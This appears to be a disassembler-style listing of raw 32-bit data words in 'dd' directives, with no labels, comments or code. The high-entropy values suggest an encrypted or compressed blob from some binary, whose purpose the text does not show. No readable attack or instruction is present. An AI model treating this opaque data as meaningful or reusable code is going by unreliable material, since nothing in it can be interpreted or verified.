dd 0B1A45B2Ch, 0D9743C2Ch, 79263229h, 0D13C3EF5h, 0FB630B50h
dd 32654A37h, 28D017DEh, 2CEC2AEEh, 20EA2EEAh, 3C0FAEBDh
dd 0D87D26EFh, 3CF207AAh, 30F48ABFh, 3933F909h, 47EFE2D5h
dd 0F816DB25h, 826A330Dh, 4F1A344Ch, 2A2A1117h, 0C102E23h
dd 0DB3E71B4h, 38365C0Fh, 8A3A0299h, 3305E207h, 1E213527h
dd 1E481C56h, 1AF418AFh, 0DB148DA7h, 17133B16h, 0ED3BBC4Fh
dd 0D6D52D53h, 3A3BCC39h, 3A0D3C38h, 112C130Fh, 11200F2Eh
dd 153C1336h, 29001706h, 191C071Ah, 0D00171Eh, 2D3929A3h
dd 17AAB767h, 0BC4C3A32h, 0E42EBE5Ah, 30948E9Dh, 2C58A228h
dd 82052777h, 0B0D4D7D6h, 11A77773h, 29B3123Ch, 6036B7DDh
dd 0B2E53EFAh, 0F36F3F75h, 1F901D58h, 2CB01645h, 0A6A72AE4h
dd 8C65E88Bh, 42E83ADh, 30CE06D8h, 0B435C50Ah, 183161FEh
dd 0DF35CD38h, 0D096164Fh, 984BC84Dh, 120161D0h, 28893B37h
dd 0ED234A7h, 82CECDD2h, 0B2B0C432h, 653AC037h, 0FEB88965h
dd 0A276B13Fh, 0DE20107Ch, 252B232Dh, 29272729h, 2D232B25h
dd 3071B42Dh, 1B353373h, 492D3672h, 3C7D9D3Ah, 2D1BFE8Fh
dd 9CB51D1Dh, 65E422E0h, 2936F425h, 710AEA1Dh, 0A01A2E5Ch
dd 4533C65Ah, 0B30735h, 0D9C79009h, 22E8A80Fh, 0AF1F587Ch
dd 23B72065h, 2663B53Bh, 2E2B69F8h, 0AC652D38h, 95B339F4h
dd 7B3EB701h, 0BF3231B9h, 68D51E34h, 0F6112C71h, 3EA1E452h
dd 0D6AE5663h, 5FD6AD27h, 78D3A729h, 72C122C7h, 0F60DBD2Eh
dd 0FEBA2C33h, 3B3838E9h, 579DAF6Bh, 0A125DF1Ah, 67E184ACh
dd 8E8332Bh, 79A7D4D5h, 0BA30330Ah, 65663B74h, 3B50DF65h
dd 7B043B49h, 10DFBC36h, 0A9DA1E1Eh, 7A7C2A67h, 0EA277D78h
dd 0A92A2A25h, 301958D2h, 6431D5F0h, 0B3F01D65h, 0D46BF4D9h
dd 513D5B9Ch, 7B1E071Ch, 23575424h, 0F02693Ch, 240D3927h
dd 5EE1023Ch, 333D313Fh, 8C763E87h, 0B9D6BA33h, 2B558F0Ch
dd 11770971h, 3E8B4B6Bh, 0B4B74F50h, 415A08A8h, 6C312C6Bh
dd 7C614181h, 42646401h, 0A932745Ch, 2379D0Dh, 0C3CC119Dh
dd 0E225E0E0h, 77D42626h, 189016BBh, 1CD31AE6h, 3011D0Eh
dd 7430155h, 0A7805A5h, 0E510868h, 28D10B19h, 0D2A1F1Dh
dd 0E916A414h, 9102D13h, 491C611Eh, 4F18A61Ah, 0FF0B8A09h
dd 140E130Dh, 0BF015400h, 0AA05B207h, 0A525B726h, 3119D21Bh
dd 70AF2664h, 0EA747604h, 8F9D2162h, 6338123Ah, 1D3A5400h
dd 391B053Ah, 0F0C9C294h, 1F050F7Bh, 22A00B0Bh, 26A44859h
dd 0F529A958h, 0EC2D330Ah, 1631640Eh, 76D9B737h, 32C6F1B4h
dd 0FE6EFC08h, 0B3EEE187h, 0A2F11FE9h, 0CD753101h, 1C69A8E4h
dd 59D2103Ah, 663AE90Eh, 0A60B3B5Ah, 3BA11730h, 220D043Bh
dd 384BC03Eh, 0AB481E15h, 0CCA03A67h, 5CE72725h, 335F6244h
dd 11186E65h, 667101BEh, 6E3A1C95h, 3C7B2219h, 0E5B91DD5h
dd 1DBE70BEh, 0A3BD4335h, 2F2E824h, 0E9922F49h, 4E575EADh
dd 0A614FF31h, 3522BE56h, 3F7AB968h, 3DFF46C3h, 8B5C6651h
dd 62A0A22Ah, 11AE05FDh, 4C28698Eh, 4F2D8DB9h, 0F3AD390Eh
dd 0D092A007h, 180B39D6h, 9F507115h, 0D1343F3Fh, 1C1Eh
dd 25392353h, 29590925h, 2EA82B34h, 2E305E12h, 447E3032h
dd 39182736h, 3D4D6339h, 5E183F1Fh, 21F6F7Bh, 55572121h
dd 284F0525h, 2C5AA82Ah, 413ADE09h, 343B1731h, 3846A836h
dd 90383A1Fh, 3C3F4F1Ch, 9212B9EFh, 2180239Ch, 6EF7D210h
dd 29AE2BA5h, 0A2A57C30h, 3331318Bh, 22C96464h, 3A38E5B4h
dd 81E50E34h, 42944419h, 22220C3Bh, 0AC722503h, 10E3A237h
dd 32582C3Dh, 2645F9ABh, 373764B9h, 3B6F3437h, 0FEBE324Eh
dd 142C526Ah, 68231F1Fh, 576FB32Fh, 649820A6h, 5D414469h
dd 54424E2Eh, 5D574B77h, 5E563357h, 78777C1Ah, 145E716Ch
dd 132D2D51h, 6B23A258h, 784F00DDh, 0AC13CA23h, 0B02FAF99h
dd 3472795Eh, 1E173710h, 185CCA38h, 0BA4D621h, 0DFF64E3Ch
dd 27A32CE4h, 37256550h, 330E6D44h, 7FE01DA7h, 35A245D8h
dd 59FE3216h, 77332939h, 0B4610D18h, 40E147DDh, 0FD281942h
dd 29252B2Ch, 2A292727h, 0E7C3E2Bh, 82F6C132h, 0DE31341Ah
dd 38493F23h, 11EDFFF4h, 1C20B817h, 27B0E1F6h, 3D062172h
dd 0C1108404h, 162CCB0Dh, 57449BD5h, 0F46C22A2h, 0EDB3F52Dh
dd 0D7E13CAh, 4E4D3A5Dh, 140E93F5h, 0A0CBA6ECh, 0EB1D3AF5h
dd 2F4B2E5Ch, 99983DA7h, 789A802Dh, 3EB95FDDh, 5D3D7349h
dd 6E34F532h, 13F1E68h, 642A24E4h, 26266076h, 590C82C9h
dd 8F474949h, 0F3EF71D3h
dd 151655D7h, 0FA184A1Dh, 503EDFF8h, 42DD6AC5h, 0E0A0213Eh
dd 0E57622A2h, 0AB2F57CAh, 66232A49h, 1D61647Bh, 16358DD3h
dd 0F119504Ah, 0C833A4DBh, 89D1FDFh, 20AB399Eh, 0DA24DBA1h
dd 787E3C53h, 8EDC65C2h, 35526CAAh, 145C26CDh, 0B678F132h
dd 3849FB02h, 1ED7679Fh, 0ECD35D02h, 25707335h, 8B463644h
dd 0ADA2C512h, 3B5A078Dh, 8C6E6C6Eh, 2D3C7631h, 56333253h
dd 4F35FC2Eh, 0BF742D38h, 0F4CA7330h, 132CA413h, 8B2323ACh
dd 0AFDDC5BAh, 75BF616Dh, 93669F06h, 3197A832h, 39349929h
dd 11351C3Bh, 22412775h, 6A2F062Fh, 4069E803h, 0A8C57D3Bh
dd 26F43A0Dh, 660D3279h, 0FD7FC935h, 3EF118BFh, 0E99C188Fh
dd 0E1720F5Ch, 0D361F21h, 0B34DDCAh, 6D2CDB38h, 77D12FDEh
dd 56D35CAh, 0E9364A3Ch, 791CFB1Ah, 9C1F283Dh, 303B7294h
dd 77E7CA72h, 2ACBD926h, 3AE47FB2h, 30202E22h, 0E42F3002h
dd 67099634h, 18EB4E00h, 1B624A2Dh, 34FF013Ah, 717A0C10h
dd 0B74D4Ch, 0BB1A7B99h, 3ABAD2A3h, 273C3210h, 671E3124h
dd 6AFC0469h, 630F7B5Dh, 3EC8E34Bh, 2004701Bh, 1B2014B3h
dd 28292D33h, 8E3F6E5Eh, 8330C0C7h, 0BD616227h, 74B25871h
dd 6E6F607Bh, 6DD3906Eh, 41E5230Bh, 26E4A701h, 29F2CF76h
dd 3D393B2Fh, 1944EFABh, 0FABF3462h, 63BA2C64h, 4C493D9Bh
dd 454F3Eh, 613EF675h, 8ACB720Ch, 3C25878Dh, 0EC31B0C2h
dd 8F588B21h, 3B333D76h, 38382535h, 0B2637F8Bh, 0F7BE7B87h
dd 831F168Ch, 0A3754D30h, 4CCE192Ch, 0A03A2616h, 2F6C3EBDh
dd 0F4763010h, 9B7611B0h, 0D33C3939h, 0C07F2CBAh, 0EFB109D7h
dd 0DF23B10Fh, 96673562h, 9ACEFE51h, 9C3D2C2Dh, 58612E7Fh
dd 737FDC2Ah, 0BB03C14h, 0F9FDB980h, 551C3DDFh, 0F12C6B1Ah
dd 85753B26h, 59ABF100h, 493DCA73h, 353022A7h, 0F68A58F2h
dd 39332979h, 35A32991h, 83DA37AEh, 288F7F15h, 0CE99CA34h
dd 20B02EBAh, 2F5BDDA5h, 3F3D2B41h, 2037C10Ah, 6D6F023Ah
dd 7FEB8336h, 1E3E2BD5h, 11EB13E3h, 1621D118h, 0D2F62BDFh
dd 378AE226h, 0C72F23D3h, 1A6316AEh, 39C93BCBh, 83A437C9h
dd 3BB433C6h, 3E6712E6h, 27497032h, 82E32ADDh, 0A72579B3h
dd 0C644621Bh, 0FA221060h, 33646425h, 5A923453h, 22F9BF39h
dd 0CD7DEED6h, 0C940520Ch, 34264304h, 3B991E2Fh, 0F6A92423h
dd 387D365Eh, 2E2523ECh, 0BBE93E70h, 6EACDAD6h, 0CA3AA37h
dd 0DF7B3A59h, 15CB2221h, 5CCF2E21h, 39972E60h, 63F26BFh
dd 3004AA35h, 2DC712B9h, 0EF3E3E09h, 1F063631h, 4A31F515h
dd 11CE2519h, 23103D20h, 0A12E197Bh, 3F0A7904h, 0F32A7E50h
dd 3FBE7500h, 0CB0B1D6Ch, 7BB60108h, 5E2DF63Fh, 16F11027h
dd 2350E4A6h, 2A3FB099h, 0C3B2028h, 3245BB41h, 22733452h
dd 0CD3D76BAh, 0B73D6DE3h, 5BDB1779h, 21241F0Ah, 0D9D0C5CAh
dd 0C9C071D9h, 2D292B25h, 20792C41h, 1170B87Fh, 0A6E7F32h
dd 3A433BCCh, 4224BF86h, 281FDD1Fh, 1BB81DB5h, 0D8FD19E4h
dd 0FC3B283Eh, 332F7622h, 35180222h, 8AF21B5h, 0CF70A92h
dd 150F3EDBh, 5A2F312Dh, 12225811h, 168D14B6h, 2A0818ECh
dd 1D777F4Ch, 19B03B0h, 0DF043583h, 4808CF0Ah, 73E9504h
dd 27222538h, 65D321Dh, 0DE34E47Bh, 35EB8A5Bh, 0EF3D3DEAh
dd 0F5B220CCh, 6A3D0CB1h, 2791C13h, 0FA916A5Eh, 0FE245B7Eh
dd 28C9DE09h, 25EE1B62h, 0F8DFF825h, 0E21FE021h, 117C2C2Ah
dd 713CB72Fh, 0CDBA1E14h, 27D50B3Ah, 1C1DDFFFh, 207A6A7Ch
dd 41470F24h, 4F52442Dh, 2C4F1FC9h, 302F6E2Fh, 405C5A32h
dd 385E5050h, 683E3A41h, 6F51774Eh, 1F6C7888h, 2D427426h
dd 11A42324h, 44490738h, 1E098D41h, 77327000h, 30F0677h
dd 3B7B7B01h, 7D7F0409h, 0BE29FFBh, 0A22BC03Bh, 0AD251F40h
dd 0A1130C73h, 6E14086Fh, 32CED1AEh, 34156530h, 0D8B86C0Bh
dd 5E183D1Bh, 1F7E493Fh, 0AC711F4Eh, 217C07B6h, 41202526h
dd 1AAD17FEh, 0EAC03AD1h, 0F12673B3h, 1DBCBA2Eh, 7D3EFB72h
dd 9C1BBB31h, 4B261D1Dh, 2474562Dh, 5C234D1Ch, 2468A77Bh
dd 0E2C77E35h, 15C06031h, 38BC6077h, 0C900364Ah, 4D681349h
dd 49A2F518h, 5DA93B21h, 0AE267334h, 45A32146h, 0AF6AC53Ch
dd 65CDCDE9h, 0B4EEEFDCh, 0CD7964h, 6E2E5708h, 0C608E393h
dd 0E6A2419Fh, 7F16062Fh, 0CAD52183h, 3F4E6B61h, 5839F05Eh
dd 26D34C89h, 9B30383Eh, 0DE829C9Bh, 155E131Dh, 0F9D7173Fh
dd 2D80E339h, 89F06DD1h, 378C5B12h, 38F081C6h, 0D41BE9DBh
dd 2479A32Dh, 0FC32C81Dh, 3B581E5Ah, 3877F66Bh, 7F5744A2h
dd 5459AD2Dh, 0D4201128h, 4E6BA77Eh, 0CB6CB24Dh, 1AD61220h
dd 8D4B5824h, 65B23C3Ah, 1F3E52BDh, 25AB7177h, 2DD6F6DBh
dd 7B2B4944h, 72EBF29h, 46693AA2h, 21DE633Ah, 3BBE399Ch
dd 9B067F3Fh, 1D1D941Bh, 0AE21842Bh, 0E26242Bh, 2AB92883h
dd 8A0C3428h, 3131A42Fh, 0AE359037h, 0C63A3037h, 0A23D9F79h
dd 3CE8183Fh, 21801FBAh, 2580CF21h, 2AAC2782h, 852C8FCAh
dd 95E42C2Eh, 3598E332h, 504F6476h, 6D54584Eh, 8C187C0Bh
dd 421C3E99h, 504A4E48h, 2227B65Ch, 242B5C6Ch, 64CF577Eh
dd 0F6A0F236h, 383A2635h, 6F697F3Dh, 183CEEBCh, 7C6D7358h
dd 262F8141h, 824B6124h, 48426D2Dh, 2B6E2D5Ch, 434B4373h
dd 52C6830Ah, 2045B10h, 15C7CD9h, 7324192Dh, 879B1E7Dh
dd 781B4660h, 144A0382h, 30A8F7F0h, 0D7010E4Ch, 940B5705h
dd 45A7FB2h, 54BC3B8Fh, 16198801h, 44BF217Dh, 1B474E0Dh
dd 4A2F42B1h, 2609CB14h, 0E2E3114Dh, 0B50233B7h, 0B9267536h
dd 3BD9C330h, 1DCEEF94h, 0C01F9BC5h, 0A1CB22A4h, 5DD78025h
dd 6481AA23h, 866DFB34h, 2F9933E5h, 0BD1436B0h, 3CBE1139h
dd 0B13FBB0Eh, 591E9827h, 0A66C21A5h, 27A37324h, 2BAF7782h
dd 5E2EA84Ah, 470EB20Ch, 936BD0Ah, 5ED0784h, 2FDE0223h
dd 7E1C1C24h, 2005B11Fh, 1272423h, 3019CE17h, 1F2D1D1Ah
dd 7015Ah, 3669064Eh, 0B10A5304h, 0E70EFE08h, 2939283Fh
dd 14132BF8h, 0D1123D6h, 491E6110h, 1A2C0A1Ch, 17B70633h
dd 13B61557h, 6E1696DBh, 6C0CAD52h, 0D213EF2Dh, 0AE951D2Dh
dd 0F6A84450h, 24150E0h, 0E8A83009h, 2A0A9D31h, 0CD3B10E2h
dd 1D8526B6h, 7795D269h, 1DFC2CFDh, 6A18DF6Fh, 0D6079BB9h
dd 672A750Fh, 3F8BEB3Eh, 4F15C5A8h, 998B6117h, 35701441h
dd 4F39BB02h, 0BC23D610h, 6B1CB4E4h, 3E22C23Ah, 0A53E27CBh
dd 8A246A20h, 0E9947A04h, 7C33715Dh, 5E7BB47Ah, 0C632FE0Fh
dd 7F391ED8h, 317DB2Ah, 61C118DCh, 0C89D7307h, 49C9BB32h
dd 867AC27Fh, 30732B4Fh, 0A0357492h, 6CB23671h, 7A433A7Dh
dd 1D5C4B3Fh, 7E1E5974h, 772265B4h, 0E96F2762h, 8F080226h
dd 295FD14Ch, 342C322Eh, 3828362Ah, 3C243A26h, 4C03E22h
dd 1E021Ch, 3C223E20h, 38263A24h, 0ADC22E5Dh, 0C43E2ECCh
dd 136AD935h, 13BABE37h, 383AB530h, 0BE6572D9h, 1EDD94DFh
dd 2229E21Ch, 2991FB22h, 2A26D727h, 2E222C24h, 323E3020h
dd 363A343Ch, 35263838h, 313D333Bh, 111C143Fh, 0AA77491Eh
dd 979DDA0Ah, 2918153Ah, 791E6718h, 5502731Ch, 74C0132h
dd 0BA405A2h, 910E3B9Eh, 0C029FF0Ch, 121FFA2Fh, 252310CDh
dd 28143A16h, 1F07190Dh, 3731D6Dh, 0B8004231h, 0A404A206h
dd 0F9F3A0Ah, 28EB0D85h
dd 1B1E2EF4h, 37162D14h, 1734452Ch, 0C31EB5D8h, 4F39EEB6h
dd 3753AC83h, 0B134DD65h, 0E9523808h, 573C3D6Ah, 7C18250Fh
dd 2341401Eh, 0FCBCC71h, 7A215A55h, 0CE1927DBh, 50C5582Dh
dd 66306404h, 3F395ADFh, 14D53EECh, 91E49F6h, 72701A2Ah
dd 3F1B7C75h, 2173D0Eh, 232D14EBh, 4481EE22h, 116B340Eh
dd 9935D76Ah, 0D27E7882h, 5E583EFBh, 2140934Eh, 25D9CA72h
dd 0E3AC2784h, 0FDA0D2A2h, 70EFF01Eh, 548172B7h, 6387D736h
dd 0B93B8B3Dh, 0A54E500Eh, 190F5C27h, 63A14585h, 0CBA52D27h
dd 1B22E930h, 27A7F9A7h, 171E1554h, 65355F38h, 0FB6D1BD0h
dd 0B3908436h, 71F51DBBh, 30A12EBDh, 636850E0h, 2F63EC22h
dd 754F7C05h, 3D91334Fh, 1539B4F3h, 0DAF512BCh, 3DDB5C38h
dd 491A7B6Eh, 0A0218DF6h, 6BE44B21h, 0A2292762h, 59C4E42Ah
dd 0BBCFD287h, 35A433A1h, 0BAB26735h, 3EBC3BB5h, 0D9736F6Ch
dd 6C9FFF81h, 36A3F227h, 0AB139A25h, 2C430EEDh, 312DEB29h
dd 6532325Bh, 2AF65E55h, 38BA3A79h, 1BC03F3Dh, 8B9897DCh
dd 10222220h, 0B4A8AFEDh, 23A32A28h, 0AF450968h, 7FBB3D89h
dd 65596110h, 3B602539h, 963E526Ah, 1E1C1C60h, 7346C81Ch
dd 4E1DDBDCh, 12291333h, 4BAC1D29h, 2123D82Ch, 0F6B08733h
dd 0AE36153Fh, 35192C7Fh, 1B4C903Ch, 3040F74Eh, 27642B2Fh
dd 0BC26A9AFh, 8824D42Eh, 42D87F1Fh, 0C3D43D52h, 79F82CEEh
dd 3E332655h, 0F9650B81h, 14A0757Dh, 8BC262Eh, 4BF1E74h
dd 40AAF98Dh, 8F6E02B5h, 24121EA7h, 9F1BA923h, 3C343C26h
dd 0CB2FBBB8h, 1F1C1719h, 2922A923h, 0BF2C2491h, 0A82728E8h
dd 232F6F0Bh, 0B3B735F0h, 32B68534h, 7B946B29h, 0D77436FAh
dd 0CDE517DFh, 0E2D33014h, 891FF528h, 2A2D23E3h, 2C292C13h
dd 5FBA2032h, 362E11B3h, 1C367936h, 313D333Bh, 121C143Fh
dd 212F0C1Eh, 0A75F4BFEh, 7A544FFAh, 0A67A2B7Fh, 31A80B9Ah
dd 0DC14B831h, 1366BA61h, 0F6B7259Ah, 3877B67Eh, 80E5F609h
dd 2C23A838h, 0A84E58A8h, 2C5E09D0h, 34C47D2Eh, 642674BCh
dd 0D0F8BD25h, 0D606DE39h, 0ED02CE00h, 5FE29F21h, 2D1C29AEh
dd 0A8E6311Ah, 0D140928h, 1D100112h, 0D0A310Eh, 9720B0Ah
dd 6B3A0772h, 63006B02h, 1E237E25h, 1C4F1E77h, 185F1A57h
dd 0AC17A827h, 0BC13A015h, 0CA93011h, 8910AADh, 3B533B37h
dd 1A6935AEh, 1F762397h, 1178CE5Fh, 27247324h, 20A843ACh
dd 2A2EEB0Eh, 33B035C6h, 603CF279h, 3B28453Eh, 19FCAF52h
dd 4DBB4D62h, 201BDA42h, 0A0825274h, 5C332E29h, 0C227BA22h
dd 0C8A4E66Dh, 73136DAh, 0C7C87A70h, 18BFAF4Eh, 183FB61Dh
dd 5EEEEB2Fh, 0AA32ECABh, 47CE0190h, 6657C12Bh, 63BD0C2Dh
dd 0B7F46114h, 3727E910h, 0B4D23839h, 0B3B31A0Ch, 1E9D143Fh
dd 0FA20001Ch, 22262477h, 2819BBCFh, 442C467Dh, 46B8602Dh
dd 7FBC3837h, 39D8F936h, 0FC3D38B6h, 11384FB4h, 21A1DE35h
dd 25DBDCC0h, 50EA0C24h, 9573B01Ah, 70F12F2Ch, 44360E24h
dd 324D4176h, 3F74FA65h, 43A8363Ah, 223B1E22h, 20976124h
dd 73CD925h, 0AC18794Eh, 0F31478F6h, 2DCC5228h, 5A2EC722h
dd 6A385A38h, 3F735A59h, 3BEA6C58h, 533FC922h, 8267D627h
dd 2224C179h, 347E2C0Dh, 0DB313033h, 84A12ECCh, 3A6C196Bh
dd 3F3EC23Eh, 1F2DF8F3h, 65DAB3Fh, 31144C37h, 0CB2A3DD8h
dd 0AB456AA3h, 3D0CDFEDh, 39353B33h, 3A36C737h, 3E323C34h
dd 1D131B30h, 212F1F11h, 0D103232Dh, 0E8081362h, 894546BFh
dd 13D9682Eh, 40349650h, 399860DFh, 348EF382h, 0DD092FFFh
dd 25110ED2h, 0AC208709h, 8D3ACF17h, 3EC24A29h, 613BAC64h
dd 6404B988h, 7814F1DDh, 40CB01A9h, 0F3818E26h, 1F2DCEBAh
dd 2E5DD11Bh, 28AD26AFh, 0A2747608h, 166F3D64h, 32BD6F6Fh
dd 58049A32h, 6DF618A3h, 2478E1D4h, 0D64C0F1Dh, 0A92A2ADFh
dd 5EAE7A2Dh, 0CAA03876h, 262D4669h, 0D232303Fh, 3775EE33h
dd 3A293135h, 393D3839h, 151C0B3Bh, 2E21DCAEh, 7242124h
dd 393A2723h, 2FAE2F2Ah, 31303F28h, 35F6E33Eh, 3D38C737h
dd 3E3CCB26h, 2E1B185Ah, 20C81C19h, 24253625h, 0A853083Fh
dd 7C7A2929h, 0CF272C47h, 0AC310224h, 4D0570BCh, 30BF292Bh
dd 1CFF3C85h, 4B1D1D0Dh, 2DA2FDCBh, 2382E420h, 0AA7AA1E8h
dd 2F222CECh, 1F27CE34h, 61A20EF5h, 3F7EB90Ah, 596C6B5Ch
dd 0C8D48FBh, 0E00935E0h, 8634502Bh, 361C3C27h, 218081Eh
dd 705301Ah, 371010Fh, 6E390D7Bh, 5A08600Eh, 1D29770Ah
dd 145C2A6Ah, 10A816A6h, 0B51DB326h, 81198F1Fh, 4842F1Bh
dd 0F0068Eh, 0EDB802FAh, 0D909E70Fh, 893BD30Bh, 242AE21Dh
dd 30152E17h, 3BB0262Ah, 7DA6A821h, 433BFFC5h, 9E36CD52h
dd 0F3363617h, 8CB6A61h, 3A3EBCB6h, 4E4806A1h, 97D2E8C8h
dd 0D71CE4B9h, 0A8D2B6Bh, 912B3B3Ch, 4EBD3DA0h, 38302A35h
dd 6E278838h, 0AD6ED00Fh, 0FC15694Fh, 9C007D0Fh, 0DF296048h
dd 2CEEB107h, 7B38778Fh, 360A362Eh, 3037FD35h, 0C522469Fh
dd 8C3083E8h, 6E92EA32h, 5013601Ah, 4A4E2E96h, 824A55CFh
dd 2DCE795Eh, 40721908h, 33F341D6h, 3637A89Ah, 0D142803Ah
dd 4948333Eh, 0F8CF3396h, 0E6186201h, 5747CF59h, 7737EA1Bh
dd 458CFDEEh, 8C37CF2Ch, 8261625h, 3D691C93h, 3FBB1A7Dh
dd 1FDE1C04h, 746A7775h, 276E1350h, 7462245Ch, 72EE1E72h
dd 22F6B064h, 36F6F636h, 533A4918h, 0EF2DB558h, 0BE86F4B5h
dd 91212F1Fh, 2629242Ch, 6852E815h, 7D7C2DD6h, 23C02296h
dd 0E664247Fh, 0C7C3447Eh, 2FB6C31Fh, 0FD4E1323h, 2162F7BEh
dd 7BDBDEDAh, 292CE57Fh, 29232AB4h, 32C09F68h, 3DBE2B22h
dd 0B12C3776h, 163F7B34h, 5A926D1Fh, 803B0C59h, 84224AAFh
dd 8F8ECE25h, 0A9292A29h, 0BB365AEDh, 0EEB7363Ch, 0F9B40185h
dd 1D1F5279h, 0E46E00ECh, 1E1E9D09h, 2F1AE5A3h, 2417E1A5h
dd 2E372F5Dh, 0B2A69A7h, 3831C134h, 0B22E7DBFh, 3F4FF038h
dd 0FC7AFDBFh, 7E589D0Bh, 0CA727607h, 1737C407h, 0EE39AB53h
dd 2EEC1723h, 3747243Eh, 66066A17h, 3A6E6D73h, 0AFC6B73Eh
dd 3970265Fh, 0AA259D0Ah, 2D2264DCh, 68649F98h, 0D0A7EA11h
dd 217CAFA3h, 2939BA20h, 1910167Bh, 30B53A72h, 9602FE16h
dd 7106DF05h, 0A73461h, 2828A741h, 0ECAE3AEDh, 0B4A57C58h
dd 349B1631h, 4CF7B236h, 26BBD71Bh, 0DF3AFE6Dh, 1C9E4F3Ch
dd 2C6230A1h, 24268924h, 0C0787878h, 212E1631h, 30BE3932h
dd 0B72FF11Dh, 9B6B1586h, 38BE3FB5h, 49A21B1Bh, 630A2009h
dd 20A1E457h, 6AEA5B26h, 0AF7D2805h, 6361346Eh, 0C9C826DBh
dd 36371AB7h, 21B24AF1h, 7718103Fh, 71A81E1Eh, 98A437CAh
dd 0F8EB2FE2h, 7B7F032Dh, 0C4F62E79h, 0B0048DB2h, 0BD37C126h
dd 3D7FA3A8h, 7C3E1E1Fh, 0C5E6761Ch, 26A3FB70h, 28A7AE20h
dd 0CDB80F08h, 0C60A0E2Dh, 1433D3AFh, 38D69F10h, 3CDA6B58h
dd 0DE891B1Dh, 3A3E1DFDh, 322C0F3h, 27C7C401h, 0C40F0945h
dd 0A0E2DCDh, 1332D0CDh, 0A4EC3E11h, 393A8DE6h, 737C5A5Ch
dd 0CD247A30h, 2D61009Fh, 0D9DBBBA7h, 7A0C4DD8h, 2F08ACC4h
dd 3009B50Eh, 32344A37h, 311D0F93h, 351B50D5h, 163F5F8Ch
dd 422B3D5Bh, 272F112Dh, 142C2602h, 2C2EF3FAh, 0CE35F744h
dd 0B42391E5h, 513937F3h, 0C26D3718h, 0FF7E2FE9h, 29203911h
dd 2D182B1Eh, 9C2612A0h
dd 4C3CD21Ch, 612CEF20h, 30A21A34h, 59E1C965h, 0FCBE78C9h
dd 3DEC0649h, 1F5E1DEFh, 1BA20B54h, 0AD2F5004h, 6B2B6128h
dd 5B0ED4ACh, 2B5A55C7h, 0F4E0265h, 3AAA3A38h, 3FA63C3Ch
dd 0E62DDF18h, 1110A32Fh, 0F5175A11h, 181A3E15h, 0AE1E7518h
dd 0C502AD1Ch, 2706CB00h, 440D0F03h, 0DF09EA0Fh, 5229580Bh
dd 5A15772Bh, 0C6119817h, 711E3A13h, 0CE1BF01Ch, 2F082019h
dd 0BFCBCE32h, 3A38AFB8h, 0AAAA3BB0h, 4D4B3C3Eh, 0E59F764Fh
dd 2523C3BDh, 642755CDh, 8EFA929h, 80B62A6h, 696D326Eh
dd 35BE526Eh, 0BF9B3E39h, 8BFC0AF9h, 83D21D1Dh, 0DC482120h
dd 649AF54Ch, 4F2A2828h, 7F2A2D8Dh, 32F30A70h, 58BA3A20h
dd 80639A9h, 245D62EEh, 57D4240h, 39B87DA1h, 263A19DCh
dd 0A009283Dh, 28A70703h, 52A7907Eh, 0BDDD3000h, 0C5B1C587h
dd 653CE053h, 7D0D55B2h, 21349F34h, 2922E426h, 658986C7h
dd 8C938DE0h, 61B6C779h, 0BE24641Dh, 59F0DFEEh, 25B56C3Bh
dd 0FDDBD7BAh, 0C848261Ch, 8235399h, 9675772Dh, 2C03D1D9h
dd 17A7F8h, 0A3DB6563h, 3B85C524h, 2C3A1FD1h, 1371B50Ah
dd 51975C4Bh, 372EF035h, 76032C14h, 2B9F06BFh, 90C6052Ch
dd 0C7FF31C2h, 0DF1F1D34h, 0C03ACB97h, 0D7143DC8h, 1EEF8309h
dd 22D22C36h, 63AACC08h, 0DE7E28D5h, 51C5002Bh, 63B430DDh
dd 0DE1834C7h, 8939CA58h, 2A133CCFh, 1DEE44D7h, 0E20EBFFh
dd 0D7AD6CCAh, 0DA252826h, 7EEC8AA2h, 0E66402A5h, 855C7672h
dd 0C6B83772h, 1988B0EFh, 1F3B3FB6h, 29F7D096h, 0DCA86E21h
dd 0D7EEA525h, 82D9EA1Ah, 79FE06DAh, 0C1320260h, 0A4BC1795h
dd 6C393B14h, 7A9F7C0Fh, 531F3CFEh, 73023504h, 57466234h
dd 0CB44286Ah, 9FEF2C6Eh, 0F1E939F0h, 5337773Ch, 33E7B6Dh
dd 7D5E3C7Eh, 1F5F401Ah, 23637547h, 76246677h, 68652965h
dd 6C78642Ah, 3373742Eh, 0A347673h, 6F3D3975h, 7C093D79h
dd 1C5E2B3Eh, 9215D32h, 1256177h, 0D645AA7h, 412E6BFCh
dd 35A04528h, 354BFF32h, 0B338373Ch, 1381F7Eh, 1C1C4B1Eh
dd 236B1721h, 94E0E213h, 7CA127B3h, 0ACA07DBAh, 31B3463Ah
dd 57F337A0h, 30557485h, 314FFABCh, 0AF3C7E00h, 0F9E78DFh
dd 33343320h, 0A62EAADDh, 1A2F9920h, 6F472E24h, 4B0E280Fh
dd 37F43933h, 0BDC5302Ch, 0FE34FF07h, 0F61C1C1Bh, 0CE21F0EDh
dd 2574EAA8h, 0CBCA6955h, 2246C2Bh, 32345726h, 3F9B3CFCh
dd 33968878h, 77F52E0Ah, 0C526B7Eh, 1C520D2Ah, 23206148h
dd 0FDC02305h, 4723A8C2h, 34832E2Eh, 0BDFCB863h, 891CF7AAh
dd 0D4383Ah, 5C1B33FEh, 8C161E1Ch, 0CC252121h, 2B40D428h
dd 0EC2C6A20h, 0B03AC63Ah, 3029B126h, 1CBBBB65h, 3D3F7AB1h
dd 1B6B303Ch, 0D1954538h, 0A3B15323h, 6A309824h, 0A90D756Ah
dd 91242F7Ch, 0BA335048h, 3CB4A1A2h, 0B9257FFAh, 0DE088723h
dd 41A88819h, 23F51A9Eh, 66CCCF21h, 14AFBC26h, 6E925369h
dd 0B2A72C2Eh, 0ACD29033h, 0B4AB38B7h, 1F2C795Ah, 7C64893Ch
dd 0AA2F1F38h, 0AC947531h, 29BDCF36h, 39352A3Bh, 31393E2Fh
dd 34B1DB0Fh, 0B06E3C14h, 4FD43B32h, 9FE4C1FDh, 0AB5F02D9h
dd 46CB72EEh, 0E735A79Ch, 0AD12C22Dh, 0BB27690Ah, 2C3B1665h
dd 3BB7BF7Dh, 632F1E7Dh, 0BB660BDh, 0DFF4723Dh, 3219C19h
dd 0AE92ED57h, 262EEA84h, 274825E8h, 0B13A596Ch, 633E5D06h
dd 696F251Ch, 97E8357Ch, 0F1B145Bh, 0EE30201Bh, 2E0C7DC2h
dd 2201600Dh, 0A5306CDAh, 0F70A326Ch, 963C473Fh, 0D1387939h
dd 0E6C5BF2Bh, 0FC053E1Ch, 6053F1Eh, 423C3h, 29C91290h
